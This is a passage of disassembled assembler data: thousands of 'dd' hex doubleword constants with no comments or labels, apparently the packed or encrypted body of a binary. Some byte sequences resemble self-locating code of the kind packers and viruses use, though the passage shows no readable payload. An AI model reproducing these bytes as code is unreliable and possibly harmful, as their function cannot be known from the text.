		dd 90F4974h, 96B82194h,	0DE41BD24h, 0D18A0839h,	0A8D06225h
		dd 2F56AD52h, 2BEC6478h, 30D240C3h, 86A9AF80h, 0E00C6EAFh
		dd 0AD86A9AFh, 0CB34B372h, 0FD167889h, 0BE83F5EAh, 0A3D4DA67h
		dd 17403657h, 22B033E3h, 4BEEBC46h, 0E70E7AC8h,	0F9200F4h
		dd 726490F2h, 0EE318FFBh, 5EBBAF0Fh, 0FF6D1C79h, 103096h
		dd 0EC164E00h, 7781FBCFh, 877B6056h, 15E990E6h,	9C660270h
		dd 66185CFFh, 0EFE3807Ah, 186E0FF1h, 86F4996Dh,	407C21D5h
		dd 32B7DF3Fh, 0B502580Ch, 4CB6D29Ah, 123548B3h,	0B1C41E86h
		dd 4E398DEEh, 444FDFDEh, 66C9943Ah, 817566B4h, 58A5E2Dh
		dd 0A5D13172h, 0F05EA191h, 583BC7A2h, 867265D9h, 7E2345E5h
		dd 320B5CC7h, 14000001h, 0D94DB9D2h, 0C7E4104Bh, 8B3D1BC4h
		dd 680A30B1h, 0A9C976D9h, 5BF9E150h, 0EE10821Dh, 0A7F60D42h
		dd 997758F8h, 561F067Fh, 3B6Fh,	0FCE5B000h, 724081BEh
		dd 0F839ED19h, 0E220E939h, 0B2ED5BF9h, 2D923EE0h, 8BF0A7F6h
		dd 3A5CA777h, 0A7F62D92h, 87F644DFh, 1CACA373h,	40F09AB3h
		dd 0E187A14Fh, 9F97561Eh, 0B8000000h, 0D94DB9D2h, 31E51F4Bh
		dd 0AE7C88E3h, 0FA9B6F18h, 0A1F903E8h, 788CFF5Eh, 0F5B7505Bh
		dd 899F2A4Ch, 41E0A407h, 14737F80h, 936F1AE8h, 0AF1F9E03h
		dd 0CD38C933h, 207A0D2Dh, 9ADE9776h, 753DC269h,	1C721392h
		dd 1A3C9E64h, 0EC3476FDh, 0F0B177Eh, 73130000h,	0E496E489h
		dd 661D7112h, 0DC85F99Ah, 530F8320h, 0D6104A9h,	0EE8F756Dh
		dd 7F1CE298h, 5A6520Bh,	9132C6B1h, 0A2CA2C73h, 0EF580C33h
		dd 0B6D28FA2h, 0EF162F4Ch, 0C5BC3378h, 67FF3239h, 42358908h
		dd 1EF8A9D2h, 3C9F994Ch, 0B9D2889Fh, 7BDA2C5Eh,	856215ABh
		dd 307125D3h, 2D5E2C51h, 27C045D9h, 83BADC65h, 0EC5BF9E9h
		dd 0A9D10B5h, 7C000008h, 32F50976h, 78139F23h, 0C1B90D8Ch
		dd 19B96B3Bh, 4C5EA1FEh, 3E20E1A3h, 5BFDBB9Dh, 48AB7EEh
		dd 36CCB453h
		dd 17403657h, 85FD33E3h, 0C595C121h, 52E0A7F3h,	886BCA34h
		dd 71E91A2Ah, 0E76EFC34h, 0E55h, 0A2C339A5h, 2F4CBA2Ch
		dd 0B3D02C5Bh, 3D5EA2DFh, 0CAEB1149h, 37534B23h, 0ACDAA8CDh
		dd 285D3152h, 90CBBFDCh, 0FA3D4764h, 0C307C98h,	0C1F03958h
		dd 2F4CB6D2h, 19ED9816h, 0FB1B2485h, 5EA1FE53h,	0B604871Eh
		dd 1B2255C5h, 0FDF92A79h, 413A881Ah, 52C03AA6h,	0A9BE6CCFh
		dd 0E982B817h, 3C47781Dh, 881230A1h, 0BED85B19h, 5CC71098h
		dd 0D86h, 67BEAB00h, 6C5EA207h,	0FFFE13A1h, 12BECEFFh
		dd 475EA1FEh, 0C727D89Ah, 5BFDBBBCh, 9C385A9Bh,	0D9A7F3C5h
		dd 0DA58C746h, 4CF554AEh, 0C543EB0Bh, 970EA7F3h, 0F4E7EB14h
		dd 7C6F6300h, 0B312EE9Bh, 0BFDFE0E3h, 0A7F3C517h, 0F240C362h
		dd 788E6C96h, 0AE3471E9h, 0D8BD13Ch, 0F3930000h, 64166409h
		dd 0E69DF192h, 5C05791Ah, 0D38F03A0h, 8DE18429h, 6E0FF5EDh
		dd 0FF9C6218h, 8526D28Bh, 11B24631h, 224AACF3h,	6F580C31h
		dd 0B9D20F22h, 104BD94Dh, 6F2136E4h, 86611A20h,	0B04A36D9h
		dd 4EDCBFE2h, 4C5F6CEBh, 7D22CEE8h, 7269659Ah, 0DD06AED0h
		dd 0D0535EA1h, 8E7CBD71h, 96A2DD1h, 0C7324761h,	2E575Ch
		dd 9FF80000h, 0E49D7A13h, 44278A18h, 7801DC5h, 70915EA2h
		dd 0BA7CF2Fh, 0B3F2A15Eh, 0D958A4C3h, 0FFFD375Ah, 4E39B5FFh
		dd 6A90C8BAh, 0A7B679B8h, 81BEFCE5h, 0F9D1AC61h, 0F0007B5Bh
		dd 8883BBB6h, 274FAF50h, 72A7F684h, 0B2ED7033h,	84933EE0h
		dd 672BA7F6h, 38535F28h, 58DB5ECCh, 1E8D183Eh, 1F00656h
		dd 9F2B0000h, 0FE903C5Eh, 0C3855EA1h, 580278F2h, 50D352D1h
		dd 0A1BD528Eh, 26EC635Eh, 7F8041B5h, 0A1BDF71Fh, 0A063C25Eh
		dd 689CCFC3h, 0BD0008BAh, 0B15F5EA1h, 47B3241Eh, 0BADC1D26h
		dd 5EA1BC12h, 0C645C45Fh, 71A13917h, 49FC9616h,	6E2259E6h
		dd 3970FD51h, 1C920083h, 1B629F6Bh, 82A8F3FFh, 0D6E3143h
		dd 683ACEB9h, 0A1C7EAB6h, 1CF3E85Eh, 0AB0E9C6Ah, 93C45AC8h
		dd 13E59767h, 0F4DBAB83h, 0C7CB6383h, 1F865EA1h, 2D6216BCh
		dd 0C74BA5C3h, 15C895Ch, 0D2960000h, 3EB44DB9h,	46EBBB4Fh
		dd 96C157C7h, 9D7A4162h, 0EDE122DFh, 18990DFBh,	0F3704999h
		dd 535F5BF9h, 0D75AC834h, 1045C954h, 6F9105E4h,	0A7F61FC3h
		dd 18F6D979h, 561EF3FEh, 5F1EAE8h, 3A7582h, 0E5DA0000h
		dd 6181BEFCh, 5BF9E258h, 8A4C607h, 45A7F62Ch, 39C45BDAh
		dd 4BF26A45h, 61359453h, 0F65713BFh, 0A6E9A9A7h, 1EB82E48h
		dd 68CD3856h, 0DCC4BFECh, 0C3DF28EBh, 60000000h, 8F79139Fh
		dd 0AB1B9A1Fh, 43A4D730h, 0EA4FDF29h, 0B7169B0Bh, 0E4961CE7h
		dd 47239312h, 205BE9BDh, 87F046D4h, 33105273h, 2F5EA1F6h
		dd 1A2B48BCh, 191DB9D9h, 0B100A15Eh, 0E1F47AF5h, 86099807h
		dd 9BA4E603h, 7D6CE7Bh,	0CF70B3A4h, 0A45DA7C3h,	0C649BD2Eh
		dd 0A7619CA5h, 807C6B9Dh, 9A724945h, 0C53FAB1Bh, 76B3A961h
		dd 309D0F34h, 0B39h, 0C6E71D41h, 537086F0h, 0DFFC007Fh
		dd 6102FEEBh, 0EE8F756Dh, 0B77274Fh, 80FECCF1h,	7C695D7Eh
		dd 0E497EB88h, 0E517310h, 0C2F40ECh, 0AD840D58h, 2C5FB6D2h
		dd 0BDC879D8h, 68161FFAh, 0A6A50496h, 4FF0F21Fh, 0A109872Fh
		dd 0D053D25Eh, 58ACDFB3h, 0B9D2E43Bh, 104BD94Dh, 4ACCC7E4h
		dd 0B000004h, 1A3ED1F0h, 18720396h, 1AFD3CEEh, 0E40D889Bh
		dd 58E9AB54h, 17E19B17h, 0BB0E4A94h, 10935BFDh,	143ACF7h
		dd 0E5379EC0h, 1B62A2ABh, 0CB6529B2h, 0FC187A3Fh, 0B9AC0B00h
		dd 99048766h, 304B9406h, 126373F8h, 0A07EC125h,	0AC0B0E70h
		dd 678906CAh, 4F720341h, 6A82E425h, 27AC0B16h, 91CC3DFCh
		dd 55000003h, 0A1FE12BEh, 0FEFB1C5Eh, 37D05EA1h, 4A8BCC75h
		dd 0A1FE8C28h, 6F8E65Eh, 178E1594h, 0D08F4A94h,	91105BF9h
		dd 741F732Dh, 0CE47D534h, 0A45h, 0B2D32955h, 3F5CAADCh
		dd 0C3E01C4Bh, 4D6E92CFh, 0DAFB0179h, 27433B33h, 9CCAB8DDh
		dd 184D4162h, 80FBCFECh, 0EA2D5774h, 0C2C6C88h,	0B1E02958h
		dd 2C5EB9D2h, 6E948DAh,	8AC83194h, 0FDC93475h, 0A5924A47h
		dd 0D714CA4Dh, 0DC5BFDCCh, 70D32756h, 9CB3253h,	3CCE82D0h
		dd 16F37639h, 84BAB54h,	95A2AF55h, 83F9F50Ah, 0C206587Dh
		dd 0ADAC04D6h, 0B0C66356h, 0B47710A8h, 0E398C931h, 4B2A8F1Fh
		dd 0E095192Ah, 60238614h, 0D84AB4D2h, 5CE5114Ah, 4ED12556h
		dd 0C19079DCh, 70B1659Bh, 5627091h, 576E72F9h, 41A7F6DDh
		dd 8E101FEh, 0B5A95F5Ah, 9D1C886Ah, 58CA26DEh, 988F5h
		dd 14EE9600h, 9F690377h, 2FD388FEh, 0BD41388Eh,	0C43EAA18h
		dd 8E7004A7h, 378B28D2h, 0A016B749h, 2E9CC135h,	182449BDh
		dd 2D1FB7D7h, 0DD5A580Ch, 0BEFCE5E2h, 0B33F4081h, 3A7F2FD9h
		dd 0A1FE8824h, 0E85AC55Eh, 578B0AF0h, 5BFDBB14h, 0CDC17EA1h
		dd 0ADD86997h, 0B8C1857Ah, 0ABC84BDCh, 1344A9D7h, 379604E7h
		dd 177788CAh, 0A2AF3CD0h, 75D042DDh, 0D131CE8Ch, 0A95D2BE0h
		dd 0A2CA2CADh, 0EFB55D53h, 9B71D5B4h, 7D26DF7Fh, 8FB66EFh
		dd 63030000h, 0D486F499h, 560D8122h, 0CCB509AAh, 433F9330h
		dd 0FD7114B9h, 0FE9F651Dh, 8F2CD288h, 15B6423Bh, 0A1C236A1h
		dd 923A5C63h, 0DF580C2Dh, 0B9D27F52h, 104BD94Dh, 6F2136E4h
		dd 0CB611A20h, 0B36395C7h, 0FE44F06Eh, 8E115EA1h, 0CAEC8E2Fh
		dd 0D45CC712h, 1C0h, 8F601F93h,	0DE4C2FD1h, 5DFB9C5Bh
		dd 0AF7578ACh, 0FCE5FDECh, 66C937ADh, 611A98D9h, 0E1A00195h
		dd 0F9D0ACC1h, 1486195Bh, 0F63346EAh, 735CFCA7h, 1EE07B9Dh
		dd 1866356h, 0AC220000h, 0D8749636h, 95A7F63Bh,	0F9E8AB0Ah
		dd 0D94DB9D2h, 6B14FF06h, 88D9BB5Fh, 36C2B509h,	0ABE91695h
		dd 99355596h, 0D45EA15Dh, 4BDB2F5Eh, 61C007E6h,	61FFAA44h
		dd 57986928h, 7910EE2Ch, 6DE84C47h, 533106AAh, 0DD0584DDh
		dd 5BF954ECh, 3DC4ED1h,	977DEF8h, 36BE6AE9h, 0AC12D965h
		dd 95C121F3h, 0E0A7F978h, 835FDE41h, 0A7F9786Fh, 846A25D5h
		dd 561F9962h, 4C4Ch, 0C8B73B00h, 80EC086Ah, 76A9A7F9h
		dd 0E3A20797h, 0E0FCE5F0h, 0A1FE56FEh, 2180235Eh, 0EF892E0h
		dd 659A1D9Ch, 0CD31AE24h, 311DD859h, 95CE674h, 0F732ECAFh
		dd 0B85BF9EEh, 0E70BB569h, 5DA7F620h, 0DAFC12BDh, 0C4561EECh
		dd 9Ch,	4DB9D26Dh, 811F4BD9h, 0CF80DAD3h, 0C95D3CC4h, 4BF4007Bh
		dd 24E71947h, 837760B6h, 446B80E2h, 0B43A5EA1h,	0C26737C3h
		dd 6C98F343h, 0E1A34C4Fh, 0EF8B3E20h, 0ADF45BF8h, 9B6F1E94h
		dd 1AE7A60Bh, 5005EC94h, 0D2A0C5A4h, 0AEE4CB6h,	0FC347629h
		dd 74FE76Eh, 37AF0000h,	0A0DAA8CDh, 1A413556h, 88F1C5E6h
		dd 7635774h, 393DD8FDh,	0C2E31941h, 4B6896CCh, 0D1F20677h
		dd 5D7E8AFDh, 56FEE027h, 23580C2Bh, 139FBB96h, 18E29E77h
		dd 1C44F6B9h, 205559E6h, 423055D4h, 69B8DD29h, 0B44DB9D2h
		dd 0E8BA4C3Eh, 708CF549h, 0FCEF3DB1h, 80FBF708h, 0DDD0B574h
		dd 5Dh,	31C5B63Ch, 6A7D3C7Dh, 67DB30Dh,	0DEDB006Ch, 0EF6A2D37h
		dd 7EBF4002h, 5AF5207h,	3CFF9C2Ch, 0FD5D67E2h, 1F444A5Bh
		dd 86FD33E3h, 85189B7Ah, 955EFD1Ah, 5BE4A643h, 3A33B120h
		dd 0C4B68F65h, 6FB2609Eh, 0EB1253ACh, 0B8CBD270h, 0CA14974Eh
		dd 0A2AE378Ch, 2A698E11h, 50h, 0BEFCE54Bh, 0FCC86181h
		dd 0CEF55BF9h, 0CEBF0668h, 0E8BA1D69h, 18B4D617h, 55A7F695h
		dd 4974BCAh, 0CDEC1CCFh, 0EFE3943Bh, 19980AFEh,	0B4F61396h
		dd 0A355078Bh, 0ABDCAEF3h, 0AB6ACF5Fh, 87653456h, 0D74EA2AEh
		dd 0C03EA42Ah, 0B6911C41h, 9E000000h, 0FEE0FCE5h, 5EA1FE56h
		dd 0E0218023h, 0FDBB75FEh, 31DF465Bh, 490FD39Ch, 498EA846h
		dd 77905619h, 4F000000h, 9FC82543h, 9776BB6Bh, 0F0E3A207h
		dd 903C5E9Fh, 0DD5EA1FEh, 9B44C342h, 0B46690CAh, 11857966h
		dd 0B14E3190h, 0FDBB0951h, 0E70D945Bh, 17798132h, 4A3056B8h
		dd 3B3E5619h, 3000000h,	0EA7A139Fh, 91747EE7h, 24E74600h
		dd 0C57A38A1h, 0FDB924A5h, 0DB870B5Bh, 0A0039E21h, 0CC16D98Ch
		dd 3374038Ch, 0F3C3BBD3h, 59AFD9A7h, 0BED85BCAh, 56194F98h
		dd 1C86h, 5E9FAB00h, 0A1FE903Ch, 6A94F25Eh, 7BAA79B8h
		dd 0F89F66B8h, 0A9645EA1h, 0FFFFFEFDh, 0DAFCE5C6h, 6A64F737h
		dd 29D6B9DEh, 0FD7DD2C9h, 0D240E35Bh, 6B928E6Bh, 416A61D1h
		dd 0C06CF20Bh, 8DA7F30Eh, 4D8EB312h, 0F30E812Dh, 7B85E3A7h
		dd 6DFE7DA4h, 8DFEDA69h, 0D939C649h, 0A2AF3593h, 96730540h
		dd 0C9EA2DE8h, 7DBC6E92h, 1D841B9Ah, 0F787689h,	54BD38FBh
		dd 1689E916h, 27A95951h, 1D4F43FCh, 26C3CAEBh, 0DDBCD83Ah
		dd 0A6F9B556h, 82F93AC7h, 0C3A0F91Bh, 0F131F083h, 0B00AC26Eh
		dd 575BE43Fh, 0B1B1D226h, 13CDDD34h, 0FF1EFE3h,	0B94D3E8Ch
		dd 0A6500A88h, 473086E7h, 7D9AE3B3h, 0A1C1023Fh, 1382F775h
		dd 0A15EE140h, 0DAFF6C41h, 54C65916h, 0C0FAD5BBh, 4C426397h
		dd 413FB319h, 944AEFBFh, 18DB1178h, 3555EA35h, 18DB1199h
		dd 38EA4DD4h, 9406F0EAh, 0CC49B4DDh, 0B6245BE6h, 4F4030F3h
		dd 0D7F40075h, 0AC7E8AE3h, 0A8D810C1h, 5CA8DDE7h, 0D288063Fh
		dd 0E57A6D2Ch, 55EBBBF1h, 5044D622h, 68828F00h,	0EB911D22h
		dd 61208115h, 77DD8EFCh, 10BC870Ch, 0F969329Ah,	5EA10D5Dh
		dd 0A268918h, 9BA49D57h, 10936517h, 62152F60h, 6B1D7196h
		dd 8FF6099Dh, 0A251D6C6h, 3ABCBC8h, 4E5EA134h, 6DB574D7h
		dd 5EA134C1h, 6F3FC9A3h, 865E31AEh, 5D31D49Eh, 2049DD2Bh
		dd 0D9163F90h, 0C8A29837h, 0BC299D3Eh, 0C809DA48h, 0B0629CCAh
		dd 7045F171h, 4C3F5EA1h, 0FBBAE5B8h, 0A1708A27h, 235AEF5Eh
		dd 4C3EBEFEh, 8249E8BAh, 0E6A9977Eh, 6A033996h,	83C4FD9Eh
		dd 0A172CB63h, 9C1F865Eh, 0A152E742h, 20D4875Eh, 2D5F2F72h
		dd 395E78DBh, 275CC77Fh, 0FFFFFF43h, 4DB9D208h,	0C6215A28h
		dd 6C806397h, 40817566h, 9076DB05h, 38FB532Ch, 7A8CFED4h
		dd 9F3757A8h, 0DA5EA1B8h, 7480FB4Bh, 2C636DA6h,	840BCB05h
		dd 7983FFF3h, 9BFB04A5h, 5EA1B873h, 9624E73Eh, 4EE811E5h
		dd 5CC75528h, 34CAB03Eh, 50A6D066h, 46D92EF1h, 66000000h
		dd 81BEFCE5h, 0FDBB1B61h, 0D57BAA5Bh, 57D71B2h,	548A2FFFh
		dd 0A7F3C538h, 46B2A75h, 8C03F34Ch, 0E51A5881h,	601AFFE9h
		dd 0C2A50496h, 0B14ED150h, 0FA046270h, 0D8068928h, 0A2AF8092h
		dd 54678023h, 3Fh, 0BEFCE55Dh, 0BB1B6181h, 7BAA5BFDh, 7C6D20D5h
		dd 51ACDBF4h, 0DFCFDB78h, 0E8D0CA6h, 0A953C7E1h, 9D272C84h
		dd 0F31AD17Dh, 0A2059CA7h, 9EDC3EC3h, 27A2AF5Fh, 0E01440A2h
		dd 3E61AC04h, 0D267BA5Fh, 5BF313B9h, 165EA1FEh,	9F132C8Fh
		dd 2B8E1CE0h, 33A4FA68h, 0FAE7A6C7h, 8089FDCh, 0FB5A826Dh
		dd 6BD52446h, 79E5BF9h,	87C56D97h, 0DB7FA7F9h, 8BFC1AF4h
		dd 3CE2561Fh, 4F000000h, 44DB649Fh, 96B8A14Ch, 35779017h
		dd 982FEA0Ch, 0B1F05BF9h, 41A1E2FDh, 0A7F9B315h, 0A07EC160h
		dd 0A7F9B370h, 287289CAh, 81919F46h, 0FAD5A766h, 1F89F214h
		dd 0DCFC56h, 9F450000h,	728F7913h, 0A1FEE410h, 0AF6EB15Eh
		dd 0A4C66C1Fh, 5EA1FE08h, 0C67BDA45h, 0BA689EC8h, 20837F64h
		dd 0C3BF0D61h, 0A4D76539h, 7BDA2643h, 966215ABh, 0F90EEDF5h
		dd 8FF85EA1h, 288B7F68h, 33037A8Bh, 8ABF8440h, 7D81FE4Ch
		dd 358908A9h, 61E4B642h, 0E5053A78h, 0A405F418h, 6EE14CB7h
		dd 0DB6F0832h, 0E4E4331Ch, 0E915042h, 9F690393h, 0F31C9F3Ch
		dd 434F90B1h, 736AD824h, 13921787h, 0AF33B0CFh,	9DA2FDA2h
		dd 0F2936911h, 0BC1EE49Ch, 3F8F63CAh, 0EA078E1Ch, 30000001h
		dd 0A115B64Ch, 2E9CC137h, 5A284DB1h, 0DCB2D32Fh, 9E3D5EA4h
		dd 46BC24D6h, 0D52B5125h, 5FABC2B0h, 0EB1F483Eh, 1575BACAh
		dd 580C24F9h, 0D2447BB4h, 0DA2E5FB6h, 6506E948h, 0D8816611h
		dd 50337624h, 139FFC33h, 1AB2D476h, 575EA1FEh, 78B96DCCh
		dd 0CA809DFDh, 0F8BB1448h, 93C5947Dh, 9170B165h, 0F48B0E70h
		dd 69945BF9h, 8686D731h, 24F6594Dh, 0F67156FAh,	632CECA7h
		dd 1E9E6B8Dh, 0E87356h,	0D2DC0000h, 0EE9F13B9h,	0FEA8C41Ah
		dd 9DCA5EA1h, 0B16CCD61h, 7C728F6Eh, 0A539F806h, 1D916B17h
		dd 0A1F904E3h, 0B627AB5Eh, 8A51D042h, 0C016E181h, 0C27033E2h
		dd 2EA45DA9h, 0AFCC4FB3h, 0C654A0DBh, 27D89A47h, 59FFEC7h
		dd 0E4A2D9A4h, 1DD87367h, 0E639A467h, 519C6C5h,	0F6F949E5h
		dd 0A3C304A7h, 0A7F6F90Bh, 8E7CDF46h, 0B54A2DD1h, 0F9FA1274h
		dd 6CB7A7F6h, 2A3254ADh, 87A2AF73h, 0F3EFE31Ch,	83FAF809h
		dd 0E3D7B477h, 0D5997D87h, 0F33F8FBDh, 0D3EC61h, 0BB2B0000h
		dd 3CAE1C41h, 0AED5A9CAh, 245D3152h, 9BC7BBD8h,	0D5993C61h
		dd 2647BD25h, 0B7D42A50h, 3D5EAAC3h, 0C9EA1E49h, 0FA1274BBh
		dd 0B7580C25h, 0B6D2477Ah, 205B2F4Ch, 0B76799C7h, 2D6E9372h
		dd 0A1FEA1CDh, 9AD1EC5Eh, 0E8932922h, 6711E544h, 1D9C1D91h
		dd 139FA978h, 0B80A8D77h, 0D56B3BCFh, 25A956A2h, 7F8144B0h
		dd 4CAEF421h, 0C5B9DA5Dh, 3C456692h, 0BC3507C1h, 6E31D8E2h
		dd 0A25FABDCh, 0F4D50161h, 1A05EA1h, 0A8D32CBEh, 2B7790E4h
		dd 8959D892h, 58BC6ECBh, 4436BC43h, 0FE41E0B2h,	403B018Eh
		dd 0C8A317B4h, 19956E3Ch, 0A519986Ch, 0D07C9E3Ch, 9D9B301Eh
		dd 0C0F3A302h, 0EAE89F30h, 159406F0h, 43B72092h, 0CF3BAC22h
		dd 3F65Fh, 0E0FF0000h, 48B2D2F1h, 0E71344DAh, 0F4E137h
		dd 98661C92h, 36CCB40Ah, 50AAD664h, 0E9154CC2h,	4F8E735h
		dd 0A0560096h, 26814F2h, 54000037h, 8124048Fh, 42404h
		dd 2D680000h, 89000024h, 2268243Ch, 89000079h, 6851241Ch
		dd 6D1F38CDh, 0D9BA5259h, 29667171h, 0CF895AD1h, 1C8B5459h
		dd 4C48324h, 8B850h, 0D8010000h, 89FA8952h, 0FF585A10h
		dd 815B2434h, 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFFB68F8h
		dd 0B862A25Eh, 6ADDCF1h, 0E0FFC503h, 165AC56Dh,	2C8FBFDFh
		dd 0D875523h, 3358C604h, 12C1FB3Eh, 6B853D0Eh, 73F510B3h
		dd 604E2F5Dh, 4F98D7E7h, 7D8E109Eh, 4F34C192h, 7D4D8728h
		dd 4519A415h, 46270A52h, 53AA29C6h, 48ACAB60h, 233DB6EFh
		dd 1A74C066h, 2A9AB00h,	7BB75168h, 11225B2Ah, 448C3D4Ah
		dd 6E246FB8h, 52717415h, 107C7A22h, 65A5C798h, 497CB0B1h
		dd 2F472DEh, 553C4053h,	25185A08h, 6E097120h, 0CDEAF36h
		dd 0BE8h, 91323A00h, 7F2F957Ch,	982142E8h, 54E8E881h, 0E85E266Ch
		dd 0Fh,	0D4A2D0B0h, 0E669CC6Eh,	49008DD8h, 0F8546AEh, 288h
		dd 5B5F5700h, 6599C681h, 0BB660000h, 0D22B35B9h, 0F3234FFh
		dd 68Eh, 0E9F08100h, 59190762h,	0B9AAC781h, 0C1817C46h
		dd 660890A0h, 81C78B66h, 20DEC7E9h, 0D7F1810Dh,	0F6C80F9h
		dd 68Ch, 0E4EF8100h, 8900C7CBh
		dd 0F6BF160Ch, 8A643384h, 1EA83DEh, 0BA61B866h,	814A4A4Ah
		dd 0DC0160D7h, 28FA812Ah, 0FFFFF9Bh, 1585h, 0EAE88100h
		dd 0E96485C7h, 22h, 1D2181A7h, 0CAAD6F64h, 0BF0F66DFh
		dd 0FF86E9F9h, 0C1CBFFFFh, 58328B05h, 7F37F006h, 52800720h
		dd 24EB4BC3h, 9	dup(0)
		dd 0BDE9h, 0ABB58900h, 8B06ADDEh, 0A8339D85h, 85858B06h
		dd 8D06A821h, 0ADDEF5B5h, 9B858D06h, 0FF06AB3Bh, 0E855C3D0h
		dd 0
		dd 0FBED815Dh, 8306ADDEh, 0A8339DBDh, 850F0106h, 2Ch, 0DEABB5FFh
		dd 858B06ADh, 6A82185h,	81273635h, 3CD0FF34h, 0A850F01h
		dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 6ADDEAFh
		dd 0ABB5FF56h, 8B06ADDEh, 0A8218585h, 27363506h, 0D0FF3481h
		dd 8D0CC483h, 0ADDEAFB5h, 14468B06h, 8304E083h,	840F04F8h
		dd 7, 5E9C033h,	0B8000000h, 1, 339DBD83h, 0F0106A8h, 785h
		dd 0E9C35D00h, 2, 858DCF5Dh, 6ADDED4h, 16198589h, 0BBE906A8h
		dd 0B0000000h, 945F9AA7h, 5000000h, 1000000h, 28000000h
		dd 200000Ah, 29h dup(0)
		dd 0E4E90000h, 6800000Ah, 6ADE205h, 0FA9D55E9h,	0E31268FFh
		dd 4BE906ADh, 68FFFA9Dh, 6ADE402h, 0FA9D41E9h, 0E45868FFh
		dd 37E906ADh, 68FFFA9Dh, 6ADE59Dh, 0FA9D2DE9h, 0E60268FFh
		dd 23E906ADh, 68FFFA9Dh, 6ADE8EDh, 0FA9D19E9h, 0E9B568FFh
		dd 0FE906ADh, 4DFFFA9Dh, 7C27632Ah, 0AB1492D7h,	0DD46C48Dh
		dd 0DB6F4B1h, 1EE5216Ch, 0DB96B75Bh, 0F42E44Fh,	3D7418BBh
		dd 6E2746E9h, 6C9E4CD8h, 0B605B72Ch, 0FF6BD016h, 1788155Ch
		dd 0DD10DC74h, 5BF5BC4Eh, 31632462h, 0C32A5C8Ah, 81B60016h
		dd 0C5C10996h, 0E1B60016h, 0BDA9A90Ah, 58147792h, 47h
		dd 0EFB5E7E3h, 24E0AA72h, 2CDAB3B6h, 65839Ah, 0FE1365B6h
		dd 5C427CDFh, 8B33EC30h, 0A18B1273h, 61C7C305h,	92BDB600h
		dd 0AB5FF806h, 44E42548h, 2784140Dh, 61DF27h, 8F10FBB6h
		dd 775D9783h, 0F07614h,	0FFC90000h, 0EF1155Ch, 0A1FA276Eh
		dd 75030529h, 82166087h, 54B3C521h, 6F3902A5h, 0AECF50D8h
		dd 46E5BEE3h, 6201A20Fh, 3751FF2Bh, 0AF587DF3h,	7C782B0h
		dd 0C4068C2Ch, 0AF58823Bh, 5E41C568h, 0FA33703Dh, 5881D8D0h
		dd 0A881AAAFh, 0DB92B112h, 0DC67D556h, 731F802Eh, 78B0E936h
		dd 895BEEh, 0B9C329B6h,	0B6008981h, 0CBFFE843h,	9C81DE81h
		dd 0F4243095h, 0A41FBD0Eh, 8B2D806h, 0B600BD10h, 9DF59F2h
		dd 0BCAB5EB9h, 4E0B288Bh, 5F2A6E98h, 3F18BCABh,	1E3FA046h
		dd 0AF25B753h, 0A3ECAFE8h, 0FCA72D8Bh, 0F0F2165Bh, 20EC7F2Fh
		dd 8890283h, 5FFA0000h,	22F9016h, 3860C347h, 0E48A3571h
		dd 99BA65A1h, 0A8C956D4h, 684C96Ah, 6AB0FD9Dh, 0A4E2ABC9h
		dd 951158FBh, 79B1CB11h, 4BB605B9h, 59BA260Dh, 0FA337035h
		dd 1D50F1BEh, 4E072689h, 0B5E7D3F8h, 53ABE286h,	749C71DEh
		dd 0FC2A0323h, 0F8334Ah, 0CBA335B6h, 90C08B6Dh,	1C37D95Fh
		dd 2D6805EEh, 0D6DE188Bh, 0CDB6015Ch, 0E8B9E6AFh, 0EEA40940h
		dd 3F61F0B1h, 5B81CB54h, 15CE921h, 3870DBB6h, 7650807Ch
		dd 0C2644F14h, 367F1E8Fh, 0DA78B0E9h, 0B7h, 3959BA6Dh
		dd 0BAFE2F74h, 0F19756F5h, 0C1227BB8h, 5445EAA3h, 0C2644F7Bh
		dd 0AF09228Fh, 8FC2633Ch, 0DB57D822h, 0A609AF57h, 0C36CCC89h
		dd 0B75DE9A0h, 3A672A4Ch, 45E8B7E1h, 0B6E6A70Ch, 1CAFD90Dh
		dd 0E6B5FFE3h, 0EA5F994Dh, 325E68B5h, 76D1BBFDh, 3F497DC6h
		dd 0BCAB5992h, 0C023C770h, 0A234D29Fh, 0A8AD55ADh, 1BE13758h
		dd 2EDA97B8h, 0EC7EE49Eh, 7C40C1E2h, 0ED000007h, 1C87034Ah
		dd 4BF43277h, 7D26642Dh, 0AD1694D1h, 0FE45C18Ch, 7B3657BBh
		dd 0AFE2842Fh, 0DD94B81Bh, 0E47E649h, 8C3E2CB8h, 0B605BA8Ch
		dd 0FF0B3076h, 2C97135Eh, 1CFA4009h, 55DA9FB3h,	0FFCFD444h
		dd 5288155Ch, 179CD171h, 6E0D9206h, 5E498327h, 82F41C2Fh
		dd 0CF028F62h, 8E672AD8h, 0B5E7A02Ah, 0CAED80Eh, 0F6B606A3h
		dd 0F903A95Dh, 0B606A2C1h, 485EA883h, 0C49E36DBh, 8E71FB3Dh
		dd 0E660A6EFh, 0B6062A32h, 297DC869h, 0C6769978h, 0CC3F497Dh
		dd 0B6BCAE3Fh, 0E786699Dh, 802801AEh, 3767EE18h, 0F0245077h
		dd 0BE6D9F4Bh, 84571F46h, 94D17D66h, 0B4F41E0Fh, 8E571F46h
		dd 0FB67CCA5h, 46EF2B5Dh, 0F2D5571Fh, 84951A53h, 1ABA0DABh
		dd 68410429h, 0B07D08B2h, 0EC475DCAh, 0FFB6D53Eh, 0A46508ABh
		dd 33D5CE83h, 4B5FC9A3h, 8C4D36F5h, 0FD000006h,	2C97135Ah
		dd 5BC44207h, 8D36743Dh, 0BD66A4E1h, 0CE55D19Ch, 8BC667ABh
		dd 0BFF2943Fh, 0EDA4C86Bh, 1E57F659h, 0BCCE1C88h, 0B605BB7Ch
		dd 0E71B0046h, 0AED80EB5h, 0B605B70Ch, 0FEB7D5F6h, 51FEE105h
		dd 2D9614h, 2447D845h, 0C315BB6Dh, 189BF324h, 636A7h, 0C980A700h
		dd 0F8BDD27Dh, 2E6701A2h, 5E1B3798h, 8BC667C8h,	1101B03Fh
		dd 46E93D70h, 72DD6924h, 0A40F9BD2h, 0EA72C881h, 0BAD2D670h
		dd 6AB0B605h, 0EB5E7CDh, 0B70CAED8h, 0B4D2B605h, 5B63264Bh
		dd 0B605B75Fh, 0B6C3C701h, 9681B605h, 93BDFB54h, 82A102B8h
		dd 6BCC7FCBh, 0A4902AD0h, 9EB605B7h, 51EB11B5h,	0B605B859h
		dd 3BA8002Bh, 5B7F433h,	7A3B90B6h, 0E0ADCD36h, 33F0EC48h
